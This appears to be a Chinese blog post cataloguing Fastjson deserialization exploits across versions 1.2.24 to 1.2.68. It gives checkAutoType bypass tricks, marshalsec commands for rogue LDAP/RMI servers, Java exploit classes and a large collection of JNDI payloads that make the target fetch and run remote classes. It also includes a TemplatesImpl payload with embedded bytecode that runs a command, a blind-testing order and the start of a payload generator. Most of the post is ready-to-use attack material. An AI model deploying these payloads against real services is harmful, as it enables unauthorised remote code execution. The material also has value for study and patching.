Diggid's Blog

Fastjson 反序列化漏洞总结

字数统计: 6.7k阅读时长: 32 min
2021/04/09 Share

前言

这篇文章主要是汇总和测试Fastjson系列各版本的payload和绕过方式(对于checkAutoType方法的绕过)。对于payload中调用链的分析未涉及(到后面再慢慢研究),总结的目的是理清思路方便查询,也为研究每条调用链理清流程。

测试环境

Fastjson漏洞最终的目的还是通过反序列化来达到RCE,因此这就涉及反序列化的一些基本利用方式:找Gadgets,利用rmi、ldap等远程加载恶意类的服务或组件来触发gadgets。这里Fastjson的利用主要使用rmi和ldap,两种利用方式有jdk的限制

  • RMI:JDK 6u132, JDK 7u122, JDK 8u113之前

  • LDAP:JDK 11.0.18u1917u2016u211之前

LDAP的利用范围更广,因此测试环境使用的是

  • JDK:8u102

  • 利用方式:LDAP

对于LDAP和RMI服务,可以利用marshlsec来起

1
2
3
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/evil

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/evil

漏洞简介

漏洞浅析

先看一个简单的JSON序列化与反序列化的例子

准备一个User类,类似java Bean,有getter和setter,多了一个public String sex属性,且address属性没有getter和setter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.diggid;

public class User {
private String name; //私有属性,有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,无getter、setter方法
private String address; //私有属性,无getter、setter方法

public User() {
System.out.println("call User default Constructor");
}

public String getName() {
System.out.println("call User getName");
return name;
}

public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}

public int getAge() {
System.out.println("call User getAge");
return age;
}

public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}

public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}

public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}

测试JSON序列化的类,测试环境是1.2.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test1 {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"com.diggid.User\",\"name\":\"haha\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");

//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}

上面的测试样例是在这篇文章中收集的。运行之后可以得到四种情况的结果,简单分析一下

1.JSON.parse(serializedStr);

image-20210410152739171

当使用@type(一种特殊的标志,做了特殊的处理)的情况下,执行了以下操作

  • 调用了构造方法

  • 仅调用了private属性的setter方法

  • 直接给public sex属性(没有getter和setter)赋值了,但是private address属性没有赋值,但是在1.2.22和1.1.54.android之后,增加了一个feature,SupportNonPublicField,有了这个特性,即使没有getter和setter,private属性也会被赋值

2.JSON.parseObject(serializedStr);

image-20210410155727699

这次调用的是parseObject方法,有以下的操作:

  • 比parse方法多调用了private属性的getter方法(注意Boolean类型的是isxxx)

3.JSON.parseObject(serializedStr, Object.class)

image-20210410155926358

这里在parseObject方法后面指定了Object类,其行为和parse方法没有差别,并且返回的对象是一个Object类型的实例

4.JSON.parseObject(serializedStr, User.class)

image-20210410160158598

这里指定了返回类型是User类的对象,需要注意的是,在1.2.25版本之后有checkAutoType的检查,会检查@type指定的类和这里指定的User类是否是继承关系,也就是说,这里要求@type后的类是User类的子类(接口的话是实现关系),但是,我们调用的Gadget中的类肯定无法保证是指定类的子类,因此我们需要绕过。绕过方法是在外层套一层对象,这样就可以绕过类型检查了,像下面这个例子

1
2
3
4
5
6
7
{
"rand1: {
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1389/test",
"autoCommit":true
}
}

测试链子

这里测试用到的链子是com.sun.rowset.JdbcRowSetImpl这个类的调用,简单的调用流程

1
2
3
4
com.sun.rowset.JdbcRowSetImpl对象恢复
com.sun.rowset.JdbcRowSetImpl#setDataSourceName
com.sun.rowset.JdbcRowSetImpl#setAutocommit
javax.naming.InitialContext#lookup

可以看到,这里通过调用JdbcRowSetImpl类的setter方法,最后到lookup加载指定LDAP地址的恶意类,触发RCE

这个链子对应的payload

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1389/test",
"autoCommit":true
}

改用下面外套一层对象的方式,保证上面所说的四种情况下都能够触发RCE

1
2
3
4
5
6
7
{
"rand1: {
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://localhost:1389/test",
"autoCommit":true
}
}

漏洞系列

v <= 1.2.24

防御情况:

  • 默认开启autotype

  • 在1.2.24版本中的ParseConfig类中加了一个denyList的黑名单检测机制,但是只限制了一个java.lang.Thread类

payload:

1
{"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}} 

测试类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Exploit {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/test\",\"autoCommit\":true}}";
//JSON.parse(payload);
//JSON.parseObject(payload);
JSON.parseObject(payload,Object.class);
//JSON.parseObject(payload, User.class);
}
}

image-20210410163413898

1.2.25 <= v <= 1.2.41

在1.2.25版本之后:

  • autotype默认关闭

  • 完善了黑名单denyList,是字面量的方式将构成一个黑名单字符串数组,且黑名单检测使用startwith来匹配(隐患!)

  • ParseConfig类中增加了checkAutoType方法来对@type后指定的类进行防御,用到了黑名单和白名单的结合和防御方式

1.2.40的检测代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else if (typeName.length() >= this.maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int i;
String accept;
// 1.autotype开启,先检测白名单,后黑名单
if (this.autoTypeSupport || expectClass != null) {
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (clazz != null) {
return clazz;
}
}
}

for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

//从Mapping中获取类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

//从deserializer获取类
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
// 2.clazz为空,autotype没开启,先黑名单,后白名单,然后加载
if (!this.autoTypeSupport) {
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

// 3.autotype没开启,直接跑异常
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

从上面检测代码可以知道,只要autotype不开启,无论是否过了黑白名单检测,都会报错。当autotype默认关闭后,可以使用下面的代码来开启,意味着我们攻击的目标必须开启autotype我们的payload才能生效

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

假设目标已经开启了autotype,在该阶段产生了对黑名单的绕过,在开启autotype时,只要不在黑名单内,即可进入TypeUtils.loadClass加载类,但如果类在黑名单内,我们可以通过不同版本的处理来绕过,跟进一下该方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}

注意到这里对类名开头是L,结尾是;的情况做了截取处理后,再次调用该方法获取类名,并在后续的处理中返回,也注意一下对开头是[的情况也做了截取处理(在该版本中用不到,到后面就用到了)。结合前面startWith的黑名单检测,加上L;很容易就可以绕过了。

payload:

1
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}} 

v = 1.2.42

防御方式:

  • 将黑名单从字面量的字符串数组的方式改为了十进制的hashcode数组,检测方式也变成了hashcode的检测。目的为了隐藏黑名单类,提高研究人员对黑名单类的研究难度,但实际上,由于hashcode的算法是公开的,通过跑maven库或者jar包,可以批量检测出黑名单类,在这个项目里记录了目前已经跑出的黑名单结果

  • 在黑名单检测之前,利用hashcode来检测开头和结尾是否分别是L ;,如果是就截取掉。

1
2
3
4
5
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

直接双写LL和;;绕过即可

payload:

1
{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/test", "autoCommit": true}}

v = 1.2.43

防御方式:

  • 修复了1.2.42的对于L;的判断逻辑,如果类满足L开头,;结尾,则进入一层if,再判断类是否以LL开头。这种方式就完全封堵了LL;;方式的绕过
1
2
3
4
5
6
7
8
9
         //判断L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
判断LL
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

但是注意到前面说在loadclass方法中的对于[的特殊处理

1
2
3
4
else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

该方法会返回一个数组对象,跟踪一下调用栈发现,的确是把后面的JSON内容当做数组来处理了,处理的方法调用的是parseArray

image-20210410174114857

至于这里的payload如何构造,和Fastjson解析标志位的过程有关,具体的处理在parseObject方法中,payload可构造如下形式

payload:

1
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/test","autoCommit":true}}

解析完@type的值后,判断后面的标志位是否是[,如果是则将lexer的token从12变为14,这样才有后面的parseArray的处理。

测试:

image-20210410185346072

v = 1.2.44

防御方式

  • 修复了1.2.43对于[的绕过,将对于L ;LL的判断删除,改为只要开头出现[或者结尾出现;就报错

image-20210410190101977

至此,对于在开启autoType情况下对于checkAutoType的几种常见变形绕过就封堵完毕了。

1.2.45 <= v <=1.2.46

防御方式

  • 继续增加了黑名单。以下是从上面说到的那个项目中截取出来的已知黑名单

image-20210410190341859

v = 1.2.47

这个时间节点出现了可以通杀1.2.47 >= v >=1.2.25 所有版本的cache型 payload(有一些限制),且不需要开启autoType(开启或不开启都可以,但有细微区别)。

  • autotype未开启:通杀1.2.47 >= v >=1.2.25

  • autotype开启:

    • 1.2.33 <= v <= 1.2.47:直接使用payload即可,不需要组合前面的绕过方式。
    • 1.2.25 <= v <= 1.2.32 : 需要配合1.2.25版本L;绕过变形。

因此,使用1.2.47型payload + 1.2.25型payload一定能通杀所有版本。造成上面差异的原因跟黑名单里的一个判断有关(即是否支持mappings的缓存来绕过黑名单)。

其实早在1.2.33版本已经可以利用下面的payload来RCE了,只是当时还没爆出来,因为在

先给出payload:

注意这里的rand2可以包很多层,和循环解析一个道理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.2.33 <= v <= 1.2.47
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/test",
"autoCommit": true
}
}

1.2.25 <= v <= 1.2.32: 对@type变形
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/test",
"autoCommit": true
}
}

简单解析一下该payload的执行流程:

  • 先将端点打在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法的checkAutoType处

image-20210410191842638

我们知道,java.lang.Class是不在黑名单内的,因此可以绕过该检测,过了检测后回到parseObject,后面则是和之前一样需要调用deserializer来解析我们的clazz,也就是java.lang.Class,但是这里的deserializer和之前的不一样,这里是MiscCodec。这个MiscCodec类型的deserializer在后面会对@type对应的val进行缓存

image-20210410192635960

  • 跟进deserialze方法看一下,这里会把val对应的值,也就是我们的恶意类com.sun.rowset.JdbcRowSetImpl先赋值给objVal,再赋值给strVal。

image-20210410193027350

然后对clazz的类型进行了一系列判断,判断其是否是UUID、URI、Pattern、Locale、SimpleDateFormat。不是的话则继续判断其是否是InetAddress、Inet4Address、Inet6Address,都不是的话,则进入该elseif分支,然后再该分支中继续对clazz的类型进行一系列的判断,然后到判断clazz的类型是否是java.lang.Class

image-20210410193536424

进入该分支后,熟悉的调用TypeUtils.loadClass方法来获取strVal,获取完clazz之后一直跟到以下代码

image-20210410195110402

可以看到,使用AppClassLoader来加载我们的恶意类赋值给clazz,注意到后面if(cache)这一步,由于cache默认是true,所以会进入该分支,然后调用mappings.put方法将我们的恶意类存储在mappings中。

  • 然后第一轮解析完毕后,继续解析后面的第二个对象,也就是前面正常的payload,假设开启了autotype,那么会进入第一个autotype开启的黑白名单检测,但是注意到

image-20210410195742764

这里判断满足的条件是在黑名单内,并且这里的typeName也就是恶意类不在mappings当中,那么尽管我们的恶意类过不了黑名单,但是它在上一轮已经存入到Mappings当中了,因此这里的检测也就绕过了,但是在v <= 1.2.32版本时,在黑名单检测时并没有TypeUtils.getClassFromMapping的判断,因此无法绕过,需要配合前面的变形来绕过(实际上也没必要)。假设autotype没开启的话,就不会进行第一轮的检测,然后一直到下面

image-20210410194953998

这里和前面几个版本的流程就不太一样了,因为我们之前通过java.lang.Class的绕过在mappings中存入了我们的恶意类,因此这里可以直接通过上面红框的取出来赋值给clazz,然后到后面就直接返回了,没有继续进行后续autotype为false的检测,因此就再一次完成了对checkAutoType的绕过。

但是需要注意一个问题,就是如果在payload中要调用到两个及以上@type来完成攻击链的构造的话,这种绕过方法是不行的。因为第一个@type的值已经和java.lang.Class作为key-value添加到缓存mapping中了,因此第二个mapping无法再使用java.lang.Class为key,因此再继续缓存。也就是说,这要求我们只能利用@type的一个类中的getter和setter方法来构造出一条JNDI的RCE gadget,还是有一些限制的。

测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.diggid;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Exploit {
public static void main(String[] args) {
String payload = "{\"rand1\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, " +
"\"rand2\": {\"rand1\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": " +
"\"ldap://localhost:1389/test\", \"autoCommit\": true}}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload,Object.class); //成功
}
}

1.2.48 <= v <= 1.2.68

防御方式:

  • 1.2.48修复了47版本的绕过,在MiscCodec要调用loadClass来缓存我们恶意类的地方,设置了cache为false,至此,前面的绕过方式也失效了。

  • 在此期间不断增加黑名单,也未出现绕过方式

v >= 1.2.68 至今

防御方式:

  • 在1.2.68版本,直接引入了一个新的机制safemode,开启时,直接屏蔽@type这个特殊的标志符(SpecialKey,除了它还有$ref),由于前面漏洞的成因都是依赖autotype和@type来加载的恶意类,因此开启safemod后以@type来加载恶意类的方式完全失效。

在 v = 12.68中,爆出了可以利用期望类expectClass来绕过checkAutoType,目前攻击面比较大的期望类是AutoClose类,该类是大部分异常类和IO类的父类,因此可以利用该类来找到可以实现任意文件读写的Gadget,但无法利用前面的JNDI注入直接执行任意命令,需要重新挖掘新的Gadget,具体文章可以参见

浅谈下Fastjson的autotype绕过

fastjson 1.2.68 最新版本有限制 autotype bypass

payload 汇总

除了上面说到的com.sun.rowset.JdbcRowImpl利用链之外,还有许多利用链,前两个链子是原生的jdk包链,后面的链子需要依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
(1)
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/test",
"autoCommit": true
}
}

(2) 这里链子需要开启SupportNonPublicField特性,因为概念没有调用getter和setter,直接给私有属性赋值
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}

(3)
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/test"
}
}
}

(4)
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/test",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/test"
]
}
}
}

(5)
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/test"
]
},
"adviceBeanName": "ldap://localhost:1389/test"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}

(6)
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/test",
"loginTimeout": 0
}
}

(7)
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}

(8) v = 1.2.62
{
"rand1": {
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"ldap://localhost:1389/test"
}
}

(9)
{"rand1": {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/test"], "Realms":[""]}}

(10)
{"rand1": {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/test"}}

(11)
{"rand1": {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/test"}}}

不同版本常用Gadgets

<=1.2.24

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

<=1.2.41

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

<=1.2.42

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

<=1.2.43

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

<=1.2.45

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

mybatis

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

<=1.2.47

不需要autoType开启

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}

<=1.2.62

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

xbean-reflect

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"rmi://127.0.0.1:1098/exploit"}"

<=1.2.66

autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

1
2
3
4
5
6
7
8
9
10
11
shiro-core
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

Anteros-DBCP
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

ignite-jta
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

ibatis
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

总结

以上内容仅仅梳理了FastJson各系列对于@type的利用以及checkAutoType的各种绕过方式,对于FastJson整个反序列化流程仍然需要深入研究一下,以及对于各种RCEpayload所用的Gadgets也需要研究一下。

v1.2.47版本的payload具有通杀性,但是需要注意其对于autotype是否开启的差异。在不知道FastJson版本和jdk版本进行盲打的时候,可以用以下测试顺序

  • jdk版本

    • LDAP:jdk 11.0.1、8u191、7u201、6u211 以下

    • RMI:jdk 6u132、7u122、 8u113 以下

    • 找本地CLASSPATH中的Factory

  • FastJson版本:

    • 1.2.47的cache + L型通杀payload

    • 1.2.47的cache型payload

    • 1.2.43的[型payload

    • 1.2.42及以下的LL型和L型payload

下面这个脚本可以生成以上几种payload(没有包括[型,但基本够用了),修改自@Longofo师傅的这篇文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!usr/bin/env python  
# -*- coding:utf-8 -*-

import json,copy
import sys

from json import JSONDecodeError

class FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload

def gen_common(self, payload, op, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]

while len(dct_objs) > 0:
